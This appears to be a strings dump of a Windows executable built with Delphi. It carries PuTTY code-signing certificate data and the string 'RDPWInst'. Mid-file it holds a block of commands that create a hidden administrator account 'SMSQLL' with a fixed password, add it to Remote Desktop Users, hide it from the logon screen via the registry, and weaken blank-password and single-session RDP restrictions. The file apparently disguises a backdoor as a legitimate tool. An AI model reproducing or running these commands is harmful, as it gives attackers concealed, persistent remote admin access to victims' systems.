=%=7=L=
>i?n?u?
192>2E2i2
:+=E=Z=t=
>8?U?{?
2@3q3h4
	0$050A0]0}0
1&1.1X1t1
272C2H2M2t2
3$3.3@3E3
6#63686=6Z6b6
7(767X7j7u7z7
8,878<8A8\8f8
9.999>9C9a9k9
:9:C:_:j:o:t:
;1;<;A;F;y;
=)=.=3=M=R=W=s=
>+>O>a>m>}>
?!?+?6?
20.1B1
30393n3
747;7B7I7c7r7|7
738N8`:
:$;9;G;P;
0D0a0l0
1&1A1L1x1
2%2,232@2
4$464c4
5"656{6
8E8b9~9
5/565T5S7
<!<3<E<W<i<{<
1#2M2|2
0 010?0G0
3J3X3i3|3|4
5A5H5_5u5
626E6O6p6
6(7>7y7
;n<D=w=
6	7%7X7u7
;.=Y=x=
7&7\7h7
7	8!8T8q8
<2>8>E>x>
1)1N1t1
7D7n7P8[8
859O9X9
344;4e7Z8b8
2/2a2{2
4	5:6H6
8*8.868<8B8H8o8
;!;(;2;<;M;T;
<%<.<C<
?8?C?P?b?~?
2 2&272
5	5'5/5
506Z6b6
7!8X8u8
;&;{;|<
<,=7=B=H=Q=
>->X>p>
<"<(<.<4<:<@<F<L<R<X<^<d<j<p<v<|<
=$=*=0=6=<=B=H=N=T=Z=`=f=l=r=x=~=
> >&>,>2>8>>>D>J>P>V>\>b>h>n>t>z>
04080X0x0
1 1@1`1l1
2(2H2h2
3$3(3H3h3
4(4H4h4
5(5H5h5
AddTrust AB1&0$
AddTrust External TTP Network1"0 
AddTrust External CA Root0
000530104838Z
200530104838Z0o1
AddTrust AB1&0$
AddTrust External TTP Network1"0 
AddTrust External CA Root0
mA_rZq
AddTrust AB1&0$
AddTrust External TTP Network1"0 
AddTrust External CA Root
AddTrust AB1&0$
AddTrust External TTP Network1"0 
AddTrust External CA Root0
141222000000Z
200530104838Z0
Greater Manchester1
Salford1
COMODO CA Limited1'0%
COMODO SHA-256 Code Signing CA0
z}-s!G
i2pVUj
3http://crl.usertrust.com/AddTrustExternalCARoot.crl05
http://ocsp.usertrust.com0
Greater Manchester1
Salford1
COMODO CA Limited1'0%
COMODO SHA-256 Code Signing CA0
151210000000Z
181201235959Z0h1
Cambridgeshire1
	Cambridge1
Simon Tatham1
Simon Tatham0
https://secure.comodo.net/CPS0F
5http://crl.comodoca.com/COMODOSHA256CodeSigningCA.crl0w
5http://crt.comodoca.com/COMODOSHA256CodeSigningCA.crt0$
http://ocsp.comodoca.com0
Salt Lake City1
The USERTRUST Network1!0
http://www.usertrust.com1
UTN-USERFirst-Object0
151231000000Z
190709184036Z0
Greater Manchester1
Salford1
COMODO CA Limited1*0(
!COMODO SHA-1 Time Stamping Signer0
1http://crl.usertrust.com/UTN-USERFirst-Object.crl05
http://ocsp.usertrust.com0
Greater Manchester1
Salford1
COMODO CA Limited1'0%
COMODO SHA-256 Code Signing CA
170704193351Z0
:Uy"30v
+Command-line SSH, Telnet, and Rlogin client
3https://www.chiark.greenend.org.uk/~sgtatham/putty/0
Salt Lake City1
The USERTRUST Network1!0
http://www.usertrust.com1
UTN-USERFirst-Object
170704193354Z0#
&YAo97
xL1Xd2g
AddTrust AB1&0$
AddTrust External TTP Network1"0 
AddTrust External CA Root0
000530104838Z
200530104838Z0o1
AddTrust AB1&0$
AddTrust External TTP Network1"0 
AddTrust External CA Root0
mA_rZq
AddTrust AB1&0$
AddTrust External TTP Network1"0 
AddTrust External CA Root
AddTrust AB1&0$
AddTrust External TTP Network1"0 
AddTrust External CA Root0
141222000000Z
200530104838Z0
Greater Manchester1
Salford1
COMODO CA Limited1'0%
COMODO SHA-256 Code Signing CA0
z}-s!G
i2pVUj
3http://crl.usertrust.com/AddTrustExternalCARoot.crl05
http://ocsp.usertrust.com0
Greater Manchester1
Salford1
COMODO CA Limited1'0%
COMODO SHA-256 Code Signing CA0
151210000000Z
181201235959Z0h1
Cambridgeshire1
	Cambridge1
Simon Tatham1
Simon Tatham0
https://secure.comodo.net/CPS0F
5http://crl.comodoca.com/COMODOSHA256CodeSigningCA.crl0w
5http://crt.comodoca.com/COMODOSHA256CodeSigningCA.crt0$
http://ocsp.comodoca.com0
Salt Lake City1
The USERTRUST Network1!0
http://www.usertrust.com1
UTN-USERFirst-Object0
151231000000Z
190709184036Z0
Greater Manchester1
Salford1
COMODO CA Limited1*0(
!COMODO SHA-1 Time Stamping Signer0
1http://crl.usertrust.com/UTN-USERFirst-Object.crl05
http://ocsp.usertrust.com0
Greater Manchester1
Salford1
COMODO CA Limited1'0%
COMODO SHA-256 Code Signing CA
170704193354Z0
+Command-line SSH, Telnet, and Rlogin client
3https://www.chiark.greenend.org.uk/~sgtatham/putty/0
pJx/~2
V/:I%])F
Salt Lake City1
The USERTRUST Network1!0
http://www.usertrust.com1
UTN-USERFirst-Object
170704193357Z0#
net user SMSQLL Pfrfdsxrf1+ /add
net localgroup Administrators SMSQLL /add
net localgroup Remote Desktop Users SMSQLL /add 
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist" /v SMSQLL /t REG_DWORD /d 0 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v LimitBlankPasswordUse /t REG_DWORD /d 0 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
chcp 1251
net localgroup "
" SMSQLL /add
This program must be run under Win32
`.itext
`.data
.idata
.rdata
@.reloc
B.rsrc
Boolean
System
AnsiChar
ShortInt
SmallInt
Integer
Pointer
Cardinal
UInt64
Single
Extended
Double
Currency
ShortString
	PAnsiChar0
	PWideCharL
WordBool
System
string
WideString
AnsiString
Variant
TClass
HRESULT
PInterfaceEntry
TInterfaceEntry
VTable
IOffset
ImplGetter
PInterfaceTable
TInterfaceTable
EntryCount
Entries
TMethod
TObject&
Create
InitInstance
Instance
CleanupInstance
	ClassType
	ClassName
ClassNameIs
ClassParent
	ClassInfo
InstanceSize
InheritsFrom
AClass
MethodAddress
MethodAddress
MethodName
Address
FieldAddress
FieldAddress
GetInterface
GetInterfaceEntry
GetInterfaceTable
UnitName
Equals
GetHashCode
ToString
SafeCallException
ExceptObject
ExceptAddr
AfterConstruction
BeforeDestruction
Dispatch
Message
DefaultHandler
Message
NewInstance
FreeInstance
Destroy
TObjectd
System
IInterface
System
	FRefCount
TInterfacedObject1
AfterConstruction
BeforeDestruction
NewInstance
TInterfacedObject
System
RefCount
PShortString
	TDateTime
TVarArrayBound
ElementCount
LowBound
TVarArrayBoundArray
	PVarArray
	TVarArray
DimCount
ElementSize
	LockCount
Bounds
TVarData
	Reserved1
	Reserved2
	Reserved3
	VSmallInt
VInteger
VSingle
VDouble
	VCurrency
VOleStr
	VDispatch
VError
VBoolean
VUnknown
	VShortInt
	VLongWord
VInt64
VUInt64
VString
VArray
VPointer
VUString
VLongs
VWords
VBytes
RawData
TTypeTable
PTypeTable
PPackageTypeInfo
TPackageTypeInfo
	TypeCount
	TypeTable
	UnitCount
	UnitNames
PLibModule
TLibModule
Instance
CodeInstance
DataInstance
ResInstance
TypeInfo
Reserved
PResStringRech#@
TResStringRec
Module
Identifier
FastMM Borland Edition (c) 2004 - 2008 Pierre le Riche / Professional Software Development
An unexpected memory leak has occurred. 
The unexpected small block leaks are:
The sizes of unexpected leaked medium and large blocks are: 
 bytes: 
Unknown
AnsiString
UnicodeString
Unexpected Memory Leak
Ht Ht.
~]x[[)
                                                                
YZXtm1
ZTUWVSPR
_^[YY]
XZ_^[X]X
zh-TW,zh-Hant,zh
es-ES_tradnl
nb-NO,nb,no
tg-Cyrl-TJ
az-Latn-AZ
uz-Latn-UZ
mn-MN,mn-Cyrl,mn
iu-Cans-CA
ha-Latn-NG
qps-ploc,en
qps-ploca,ja
zh-CN,zh-Hans,zh
nn-NO,nn,no
sr-Latn-CS
az-Cyrl-AZ
dsb-DE,dsb,hsb
uz-Cyrl-UZ
mn-Mong-CN
iu-Latn-CA
tzm-Latn-DZ
qps-plocm,ar
zh-HK,zh-Hant,zh
sr-Cyrl-CS
zh-SG,zh-Hans,zh
smj-NO,smj,se
zh-MO,zh-Hant,zh
bs-Latn-BA
smj-SE,smj,se
sr-Latn-BA
sma-NO,sma,se
sr-Cyrl-BA
sma-SE,sma,se
bs-Cyrl-BA
sms-FI,sms,se
sr-Latn-RS
smn-FI,smn,se
sr-Cyrl-RS
sr-Latn-ME
sr-Cyrl-ME
GetThreadPreferredUILanguages
SetThreadPreferredUILanguages
GetThreadUILanguage
0123456789ABCDEF
QQQQSV
,tfBHu
GetLongPathNameW
_^[YY]
_^[YY]
_^[YY]
PListEntryL
_LIST_ENTRY
PRTLCriticalSection
PRTLCriticalSectionDebug
_RTL_CRITICAL_SECTION_DEBUG 
Type_18
CreatorBackTraceIndex
CriticalSection
ProcessLocksList
EntryCount
ContentionCount
_RTL_CRITICAL_SECTION
	DebugInfo
	LockCount
RecursionCount
OwningThread
LockSemaphore
Reserved
	_FILETIME
dwLowDateTime
dwHighDateTime
TBytes
SysUtils
PExceptionRecord
TExceptionRecordP
ExceptionCode
ExceptionFlags
ExceptionRecord
ExceptionAddress
NumberParameters
ExceptionInformation
ExceptAddr
ExceptObject
FMessage
FHelpContext
FInnerException
FStackInfo
FAcquireInnerException
	Exception3
Create
	CreateFmt8
	CreateRes
	CreateRes
ResStringRec
CreateResFmt
CreateResFmtM
CreateHelp
AHelpContext
CreateFmtHelpR
CreateResHelp
AHelpContext
CreateResHelp
ResStringRec
AHelpContext
CreateResFmtHelp
CreateResFmtHelp'
Destroy
GetBaseException
ToString
RaiseOuterException
ThrowOuterException
	Exception$
SysUtils
BaseException
HelpContext`
InnerException
Message
StackTrace
	StackInfo
	AllowFree
EHeapException,
FreeInstance
EHeapException
SysUtils
EOutOfMemory
EOutOfMemory
SysUtils
	ErrorCode
EInOutError
EInOutError|
SysUtils
ExceptionRecord
	EExternal
	EExternal4
SysUtils
EExternalException
EExternalException
SysUtils
	EIntError
	EIntError
SysUtils
EDivByZero
EDivByZero(
SysUtils
ERangeError
ERangeError
SysUtils
EIntOverflow
EIntOverflowX
SysUtils
EMathError
EMathError
SysUtils
EInvalidOp
EInvalidOp
SysUtils
EZeroDivide<
EZeroDivide$
SysUtils
	EOverflow
	EOverflow
SysUtils
EUnderflow
EUnderflowP
SysUtils
EInvalidPointer
EInvalidPointer
SysUtils
EInvalidCast
EInvalidCast
SysUtils
EConvertError
EConvertError$
SysUtils
EAccessViolation
EAccessViolation
SysUtils
EPrivilege
EPrivileged
SysUtils
EStackOverflow
EStackOverflow
SysUtils
	EControlC
	EControlC
SysUtils
EVariantError
EVariantError0
SysUtils
EAssertionFailed
EAssertionFailed
SysUtils
EAbstractError
EAbstractErrorp
SysUtils
EIntfCastError
EIntfCastError
SysUtils
	ErrorCode
EOSError
EOSError
SysUtils
ESafecallException
ESafecallException`
SysUtils
EMonitor
EMonitor
SysUtils
EMonitorLockException
EMonitorLockException
SysUtils
ENoMonitorSupportException
ENoMonitorSupportExceptionH
SysUtils
SysUtils
SysUtils
PThreadInfo 
TThreadInfo
ThreadID
Active
RecursionCount
FHashTable
TThreadLocalCounter'
Destroy
Thread
Delete
Thread
Thread
TThreadLocalCounter
SysUtils
	FSentinel
FReadSignal
FWriteSignal
FWaitRecycle
FWriteRecursionCount
	FWriterID
FRevisionLevel
$TMultiReadExclusiveWriteSynchronizer&
Create
Destroy
	BeginRead
EndRead
BeginWrite
EndWrite
$TMultiReadExclusiveWriteSynchronizer
SysUtils
RevisionLevel
TCharArray
SysUtilsL
EEncodingError
EEncodingError
SysUtils
FIsSingleByte
FMaxCharSize
	TEncodingf
Convert
Source
Destination
Convert
Source
Destination
StartIndex
FreeEncodings
IsStandardEncoding
	AEncoding
GetBufferEncoding
Buffer
	AEncoding
GetByteCount
GetByteCount
	CharIndex
	CharCount
GetByteCount
GetByteCount
	CharIndex
	CharCount
GetBytes
GetBytes
	CharIndex
	CharCount
	ByteIndex
GetBytes
GetBytes
	CharIndex
	CharCount
	ByteIndex
GetCharCount
GetCharCount
	ByteIndex
	ByteCount
GetChars
GetChars
	ByteIndex
	ByteCount
GetChars
	ByteIndex
	ByteCount
	CharIndex
GetEncoding
CodePage
GetMaxByteCount
	CharCount
GetMaxCharCount
	ByteCount
GetPreamble
	GetString
	GetString
	ByteIndex
	ByteCount
	TEncoding
SysUtils
IsSingleByte
	FCodePage
FMBToWCharFlags
FWCharToMBFlags
TMBCSEncoding&
Create
Create
CodePage
Create
CodePage
MBToWCharFlags
WCharToMBFlags
GetMaxByteCount
	CharCount
GetMaxCharCount
	ByteCount
GetPreamble
TMBCSEncoding<
SysUtils
TUTF7Encoding&
Create
GetMaxByteCount
	CharCount
GetMaxCharCount
	ByteCount
TUTF7Encoding
SysUtils
TUTF8Encoding&
Create
GetMaxByteCount
	CharCount
GetMaxCharCount
	ByteCount
GetPreamble
TUTF8Encoding
SysUtils
TUnicodeEncoding&
Create
GetMaxByteCount
	CharCount
GetMaxCharCount
	ByteCount
GetPreamble
TUnicodeEncoding@
SysUtils
TBigEndianUnicodeEncoding6
GetPreamble
TBigEndianUnicodeEncoding
SysUtils
.uvCOu
_^[YY]
TStrData
_^[YY]
$Z]_^[
_^[YY]
_^[YY]
<@t!QS<$t
$*@@@*$@@@$ *@@* $@@($*)@-$*@@$-*@@$*-@@(*$)@-*$@@*-$@@*$-@@-* $@-$ *@* $-@$ *-@$ -*@*- $@($ *)(* $)
_^[YY]
t%HtIHtm
_^[YY]
$Z]_^[
_^[YY]
QQQQQQSVW3
QQQQQQSVW
SysUtils0
_^[YY]
_^[YY]
_^[YY]
_^[YY]
	TErrorRec
TExceptType
etDivByZero
etRangeError
etIntOverflow
etInvalidOp
etZeroDivide
etOverflow
etUnderflow
etInvalidCast
etAccessViolation
etPrivilege
etControlC
etStackOverflow
etVariantError
etAssertionFailed
etExternalException
etIntfCastError
etSafeCallException
etMonitorLockException
etNoMonitorSupportException
SysUtils
TExceptRec
EClass
EIdent
_^[YY]
PUnitHashEntryXWA
TUnitHashEntry
	LibModule
UnitName
DupsAllowed
FullHash
TUnitHashArray
SysUtilsXWA
TModuleInfo
	Validated
UnitHashArray
(Z]_^[
YZ]_^[
QQQQQSVW
TLanguageArray
SysUtils
VariantChangeTypeEx
VarNeg
VarNot
VarAdd
VarSub
VarMul
VarDiv
VarIdiv
VarMod
VarAnd
VarXor
VarCmp
VarI4FromStr
VarR4FromStr
VarR8FromStr
VarDateFromStr
VarCyFromStr
VarBoolFromStr
VarBstrFromCy
VarBstrFromDate
VarBstrFromBool
TVarCompareResult
crLessThan
crEqual
crGreaterThan
Variants
FVarType
TCustomVariantType&
Create
Create
RequestedVarType
Destroy
IsClear
Source
CastTo
Source
AVarType
	CastToOle
Source
Source
Indirect
BinaryOp
Operator
UnaryOp
Operator
	CompareOp
Operator
Compare
Relationship
TCustomVariantTypeH
Variants
VarType
EVariantInvalidOpError
EVariantInvalidOpErrorX
Variants
EVariantTypeCastError
EVariantTypeCastError
Variants
EVariantOverflowError
EVariantOverflowError
Variants
EVariantInvalidArgError
EVariantInvalidArgError`
Variants
EVariantBadVarTypeError4
EVariantBadVarTypeError
Variants
EVariantBadIndexError
EVariantBadIndexError
Variants
EVariantArrayLockedError
EVariantArrayLockedErrorl
Variants
EVariantArrayCreateError
EVariantArrayCreateError 
Variants
EVariantNotImplError
EVariantNotImplError
Variants
EVariantOutOfMemoryError
EVariantOutOfMemoryError
Variants
EVariantUnexpectedErrorX
EVariantUnexpectedError4
Variants
EVariantDispatchError
EVariantDispatchError
Variants
EVariantInvalidNullOpError
EVariantInvalidNullOpError
Variants
_^[YY]
_^[YY]
_^[YY]
_^[YY]
_^[YY]
QQQQSV
Variants
	TTypeKind
	tkUnknown	tkInteger
tkChar
tkEnumeration
tkFloat
tkString
tkClass
tkMethod
tkWChar	tkLString	tkWString	tkVariant
tkArray
tkRecord
tkInterface
tkInt64
tkDynArray	tkUString
tkClassRef	tkPointer
tkProcedure
TypInfo
PPTypeInfo
	PTypeInfo
	TTypeInfo
	PPropInfo\
	TPropInfo
PropType
GetProc
SetProc
StoredProc
Default
	NameIndex
_^[YY]
_^[YY]
TSeekOrigin
soBeginning	soCurrent
Classes
TNotifyEvent
Sender
TObject
Sender
EStreamError
EStreamError
Classes
EFileStreamErrorN
Create
ResStringRec
FileName
EFileStreamErrord
Classes
EFCreateError
EFCreateError`
Classes
EFOpenError
EFOpenError
Classes
EFilerError
EFilerError
Classes
EReadError
EReadError,
Classes
EWriteError
EWriteError
Classes
EClassNotFound
EClassNotFoundX
Classes
EInvalidImage
EInvalidImage
Classes
EResNotFound
EResNotFound
Classes
EListError
EListError,!B
Classes
EStringListError
EStringListError
Classes
EComponentError
EComponentErrord"B
Classes
TDuplicates
	dupIgnore	dupAccept
dupError
Classes
PPointerList
TPointerList
TListSortCompare
TListSortCompareFunc
Classes
TListAssignOp
laCopy
laSrcUnique
laDestUnique
Classes
FIndex
TListEnumerator5
Create
GetCurrent
MoveNext
TListEnumeratorh$B
Classes
Current
TList.TDirection
FromBeginning
FromEnd
Classes
FCount
	FCapacity
TList'
Destroy
Delete
Exchange
Index1
Index2
Expand
Extract
ExtractItem
	Direction
GetEnumerator
IndexOf
IndexOfItem
	Direction
Insert
CurIndex
NewIndex
Remove
RemoveItem
	Direction
Compare
SortList
Compare
Assign
	AOperator
TList<&B
Classes
Capacity
FDuplicates
TThreadList&
Create
Destroy
LockList
Remove
RemoveItem
	Direction
UnlockList
TThreadListP-B
Classes
Duplicates
TPersistent'
Destroy
Assign
Source
GetNamePath
TPersistent
Classes
TPersistentClass
FCollection
TCollectionItem:
Create
Collection
Destroy
GetNamePath
TCollectionItem
Classes
Collection
DisplayName
TCollectionItemClass
FIndex
FCollection
TCollectionEnumerator;
Create
ACollection
GetCurrent
MoveNext
TCollectionEnumerator
Classes
Current
FItemClass
FItems
FUpdateCount
FNextID
	FPropName
TCollection9
Create
	ItemClass
Destroy
Assign
Source
BeginUpdate
Delete
	EndUpdate
FindItemID
GetEnumerator
GetNamePath
Insert
TCollection
Classes
Capacity
Countt3B
	ItemClass
IStringsAdapter
Classes
sdDelimiter
sdQuoteChar
sdNameValueSeparator
sdLineBreak
sdStrictDelimiter
Classes
TStringsDefined
FIndex
FStrings
TStringsEnumerator8
Create
AStrings
GetCurrent
MoveNext
TStringsEnumerator
Classes
Current
FDefined
FDelimiter
FLineBreak
FQuoteChar
FNameValueSeparator
FStrictDelimiter
FUpdateCount
FAdapter
TStrings'
Destroy
	AddObject
AObject
Append
AddStrings
Strings
Assign
Source
BeginUpdate
Delete
	EndUpdate
Equals
Strings
Exchange
Index1
Index2
GetEnumerator
GetText
IndexOf
IndexOfName
IndexOfObject
AObject
Insert
InsertObject
AObject
LoadFromFile
FileName
LoadFromFile
FileName
Encoding
LoadFromStream
Stream
LoadFromStream
Stream
Encoding
CurIndex
NewIndex
SaveToFile
FileName
SaveToFile
FileName
Encoding
SaveToStream
Stream
SaveToStream
Stream
Encoding
SetText
TStrings
Classes
Capacity
	CommaText
CountL
	Delimiter
DelimitedText
	LineBreakL
	QuoteCharL
NameValueSeparator
StrictDelimiter
StringsAdapter
TStringItem
FString
FObject
PStringItemList4HB
TStringItemList
TStringListSortCompare"
Index1
Index2
FCount
	FCapacity
FSorted
FDuplicates
FCaseSensitive
	FOnChange
FOnChanging
FOwnsObject
TStringList&
Create
Create
OwnsObjects
Destroy
	AddObject
AObject
Delete
Exchange
Index1
Index2
IndexOf
Insert
InsertObject
AObject
CustomSort
Compare
TStringList
Classes
Duplicates
Sorted
CaseSensitive,
OnChange,
OnChanging
OwnsObjects
TStreamC
Buffer
Buffer
Offset
Origin
Offset
Origin
ReadBuffer
Buffer
WriteBuffer
Buffer
CopyFrom
Source
ReadComponent
Instance
ReadComponentRes
Instance
WriteComponent
Instance
WriteComponentRes
ResName
Instance
WriteDescendent
Instance
Ancestor
WriteDescendentRes
ResName
Instance
Ancestor
WriteResourceHeader
ResName
	FixupInfo
FixupResourceHeader
	FixupInfo
ReadResHeader
TStream
Classes
Position
FHandle
THandleStream7
Create
AHandle
Buffer
Buffer
Offset
Origin
THandleStream
Classes
Handle
	FFileName
TFileStreamG
Create
	AFileName
Create
	AFileName
Rights
Destroy
TFileStream
Classes
FileName
FMemory
	FPosition
TCustomMemoryStreamC
Buffer
Offset
Origin
SaveToStream
Stream
SaveToFile
FileName
TCustomMemoryStream
Classes
Memory
	FCapacity
TMemoryStream'
Destroy
LoadFromStream
Stream
LoadFromFile
FileName
SetSize
NewSize
Buffer
TMemoryStream
Classes
HResInfo
HGlobal
TResourceStreamZ
Create
Instance
ResName
ResType
CreateFromID
Instance
ResType
Destroy
Buffer
TResourceStream
Classes
	TGetClass
AClass
TPersistentClass
AClass
FGroups
TClassFinderT
Create
AClass
AIncludeActiveGroups
Destroy
GetClass
AClassName
GetClasses
TClassFinder
Classes
TValueType
vaNull
vaList
vaInt8
vaInt16
vaInt32
vaExtended
vaString
vaIdent
vaFalse
vaTrue
vaBinary
vaSet	vaLString
vaCollection
vaSingle
vaCurrency
vaDate	vaWString
vaInt64
vaUTF8String
vaDouble
Classes
TFilerFlag
ffInherited
ffChildPos
ffInline
Classes
TFilerFlags
TReaderProc
Reader
TReader
Reader
TWriterProc
Writer
TWriter
Writer
TStreamProc
Stream
TStream
Stream
FStream
FBuffer
FBufSize
FBufPos
FBufEnd
FLookupRoot
	FAncestor
FIgnoreChildren
TFilerG
Create
Stream
BufSize
Destroy
DefineProperty
ReadData
	WriteData
HasData
DefineBinaryProperty
ReadData
	WriteData
HasData
FlushBuffer
TFilerhdB
Classes
LookupRoot
Ancestor
IgnoreChildren
TComponentClass|
TFindMethodEvent
Reader
TReader
MethodName
string
Address
Pointer
Boolean
Reader
MethodName
Address
TSetNameEvent
Reader
TReader
	Component
TComponent
string
Reader
	Component
TReferenceNameEvent
Reader
TReader
string
Reader
TAncestorNotFoundEvent
Reader
TReader
ComponentName
string
ComponentClass
TPersistentClass		Component
TComponent
Reader
ComponentName
ComponentClass
	Component
TReadComponentsProc
	Component
TComponent
	Component
TReaderError
Reader
TReader
Message
string
Handled
Boolean
Reader
Message
Handled
TFindComponentClassEvent
Reader
TReader
	ClassName
string
ComponentClass
TComponentClass
Reader
	ClassName
ComponentClass
TCreateComponentEvent
Reader
TReader
ComponentClass
TComponentClass		Component
TComponent
Reader
ComponentClass
	Component
TFindMethodInstanceEvent
Reader
TReader
MethodName
string
AMethod
TMethod
Boolean
Reader
MethodName
AMethod
TFindComponentInstanceEvent
Reader
TReader
string
Instance
Pointer
Reader
Instance
FOwner
FParent
FFixups
FLoaded
FOnFindMethod
FOnFindMethodInstance
FOnSetName
FOnReferenceName
FOnAncestorNotFound
FOnError
FOnFindComponentClass
FOnCreateComponent
FOnFindComponentInstance
	FPropName
FFinder
FCanHandleExcepts
TReader'
Destroy
BeginReferences
CheckValue
DefineProperty
ReadData
	WriteData
HasData
DefineBinaryProperty
ReadData
	WriteData
HasData
	EndOfList
EndReferences
FixupReferences
FlushBuffer
	NextValue
ReadBoolean
ReadChar
ReadWideChar
ReadCollection
Collection
ReadComponent
	Component
ReadComponents
AOwner
AParent
	ReadFloat
ReadSingle
ReadDouble
ReadCurrency
ReadDate
	ReadIdent
ReadInteger
	ReadInt64
ReadListBegin
ReadListEnd
ReadPrefix
	AChildPos
ReadRootComponent
ReadSignature
ReadStr
ReadString
ReadWideString
	ReadValue
ReadVariant
	CopyValue
Writer
	SkipValue
TReader
Classes
Owner|
Parent
Position
OnError
OnFindMethod
OnFindMethodInstance
	OnSetName<iB
OnReferenceName
OnAncestorNotFound
OnCreateComponenthkB
OnFindComponentClass
OnFindComponentInstance
TFindAncestorEvent
Writer
TWriter
	Component
TComponent
string	
Ancestor
TComponent	
RootAncestor
TComponent
Writer
	Component
Ancestor
RootAncestor
TFindMethodNameEvent
Writer
TWriter
AMethod
TMethod
MethodName
string
Writer
AMethod
MethodName
FRootAncestor
	FPropPath
FAncestorList
FAncestorPos
	FChildPos
FOnFindAncestor
FOnFindMethodName
FUseQualifiedNames
TWriter'
Destroy
DefineProperty
ReadData
	WriteData
HasData
DefineBinaryProperty
ReadData
	WriteData
HasData
FlushBuffer
WriteBoolean
WriteCollection
WriteComponent
	Component
	WriteChar
WriteWideChar
WriteDescendent
	AAncestor
WriteFloat
WriteSingle
WriteDouble
WriteCurrency
	WriteDate
WriteIdent
WriteInteger
WriteInteger
WriteListBegin
WriteListEnd
WriteRootComponent
WriteSignature
WriteStr
WriteUTF8Str
WriteString
WriteWideString
WriteVariant
TWriter
Classes
Position|
RootAncestor
OnFindAncestor
OnFindMethodName
UseQualifiedNames
FIndex
FComponent
TComponentEnumerator:
Create
AComponent
GetCurrent
MoveNext
TComponentEnumerator
Classes
Current
TOperation
opInsert
opRemove
Classes
	csLoading	csReading	csWriting
csDestroying
csDesigning
csAncestor
csUpdating
csFixups
csFreeNotification
csInline
csDesignInstance
Classes
TComponentState
csInheritable
csCheckPropAvail
csSubComponent
csTransient
Classes
TComponentStyle
TComponentName
FOwner
FComponents
FFreeNotifies
FDesignInfo
FComponentState
FVCLComObject
FComponentStyle
FSortedComponents
TComponent6
Create
AOwner
Destroy
BeforeDestruction
DestroyComponents
Destroying
ExecuteAction
Action
FindComponent
FreeNotification
AComponent
RemoveFreeNotification
AComponent
FreeOnRelease
GetEnumerator
GetParentComponent
GetNamePath
	HasParent
InsertComponent
AComponent
RemoveComponent
AComponent
SetSubComponent
IsSubComponent
SafeCallException
ExceptObject
ExceptAddr
UpdateAction
Action
IsImplementorOf
ReferenceInterface
	Operation
TComponentl
Classes
	ComObject
ComponentCount
ComponentIndex
ComponentState8
ComponentStyle
DesignInfo|
VCLComObject
	FOnChange
FAction
TBasicActionLink7
Create
AClient
Destroy
Execute
AComponent
Update
TBasicActionLink
Classes
Action,
OnChange
FActionComponent
	FOnChange
FOnExecute
	FOnUpdate
FClients
TBasicAction6
Create
AOwner
Destroy
HandlesTarget
Target
UpdateTarget
Target
ExecuteTarget
Target
Execute
RegisterChanges
UnRegisterChanges
Update
TBasicAction
Classes
ActionComponent,
	OnExecute,
OnUpdate
FClassList
FAliasList
FGroupClasses
FActive
	TRegGroup6
Create
AClass
Destroy
	BestGroup
Group1
Group2
AClass
AddClass
AClass
GetClass
AClassName
GetClasses
InGroup
AClass
RegisterClass
AClass
RegisterClassAlias
AClass
Registered
AClass
UnregisterClass
AClass
UnregisterModuleClasses
Module
	TRegGroup
Classes
Active
FGroups
FActiveClass
TRegGroups&
Create
Destroy
Activate
AClass
AddClass
AClass
GetClass
AClassName
GroupedWith
AClass
	GroupWith
AClass
AGroupClass
RegisterClass
AClass
RegisterClassAlias
AClass
Registered
AClass
StartGroup
AClass
Unlock
UnregisterClass
AClass
UnregisterModuleClasses
Module
TRegGroups<
Classes
ActiveClass
YZ]_^[
$Z]_^[
$Z]_^[
_^[YY]
Compare
TList.Sort$ActRec
TList.Sort$ActRec
Classes
_^[YY]
_^[YY]
S$_^[Y]
_^[YY]
Sd]_^[
QQQQQQQSVW
$Z]_^[
C ;C$u
	FInstance
FInstanceRoot
	FPropInfo
	FRootName
TPropFixup
Create
Instance
InstanceRoot
PropInfo
RootName
MakeGlobalReference
ResolveReference
	Reference
TPropFixup
Classes
TPropIntfFixupC
ResolveReference
	Reference
TPropIntfFixup
Classes
_^[YY]
$YZ_^[
:TReader.:1
Classes|
_^[YY]
_^[YY]
QQQQQSV
QQQQQQQS
_^[YY]
QQQQS3
_^[YY]
QQQQQQQQS3
QQQQQS3
TComponent.FindComponent$ActRec
TComponent.FindComponent$ActRecheC
Classes
R4_^[]
ERegistryException
ERegistryException
Registry
TRegKeyInfo
NumSubKeys
MaxSubKeyLen
	NumValues
MaxValueLen
MaxDataLen
FileTime
TRegDataType
	rdUnknown
rdString
rdExpandString	rdInteger
rdBinary
Registry
TRegDataInfo
RegData
DataSize
FCurrentKey
FRootKey
FLazyWrite
FCurrentPath
FCloseRootKey
FAccess
FLastError
	TRegistry&
Create
Create
AAccess
Destroy
CloseKey
	CreateKey
	DeleteKey
DeleteValue
GetDataAsString
	ValueName
PrefixType
GetDataInfo
	ValueName
GetDataSize
	ValueName
GetDataType
	ValueName
GetKeyInfo
GetKeyNames
Strings
GetValueNames
Strings
HasSubKeys
	KeyExists
LoadKey
FileName
MoveKey
OldName
NewName
Delete
OpenKey
	CanCreate
OpenKeyReadOnly
ReadCurrency
ReadBinaryData
Buffer
BufSize
ReadBool
ReadDate
ReadDateTime
	ReadFloat
ReadInteger
ReadString
ReadTime
RegistryConnect
UNCName
RenameValue
OldName
NewName
ReplaceKey
FileName
BackUpFileName
RestoreKey
FileName
SaveKey
FileName
	UnLoadKey
ValueExists
WriteCurrency
WriteBinaryData
Buffer
BufSize
	WriteBool
	WriteDate
WriteDateTime
WriteFloat
WriteInteger
WriteString
WriteExpandString
	WriteTime
	TRegistry
Registry
CurrentKey
CurrentPath
	LazyWrite
	LastError
LastErrorMsg
RootKey
RootKeyName
Access
:TRegistry.:2
Registry
SERVICE_STATUS_PROCESS$
dwServiceType
dwCurrentState
dwControlsAccepted
dwWin32ExitCode
dwServiceSpecificExitCode
dwCheckPoint
dwWaitHint
dwProcessId
dwServiceFlags
ENUM_SERVICE_STATUS_PROCESS,
lpServiceName
lpDisplayName
ServiceStatusProcess
RDPWInst
QQQQQQQSV3
RDPWInst
QQQQQQQQS3
_^[YY]
Variants
VarUtils
Windows
SysInit
System
SysConst
SysUtils	Character	RTLConsts
StrUtils
ImageHlp
WinInet
Registry
IniFiles
IOUtils
Masks	DateUtils
Classes
ActiveX
Messages
TypInfo
WinSvc
Runtime error     at 00000000
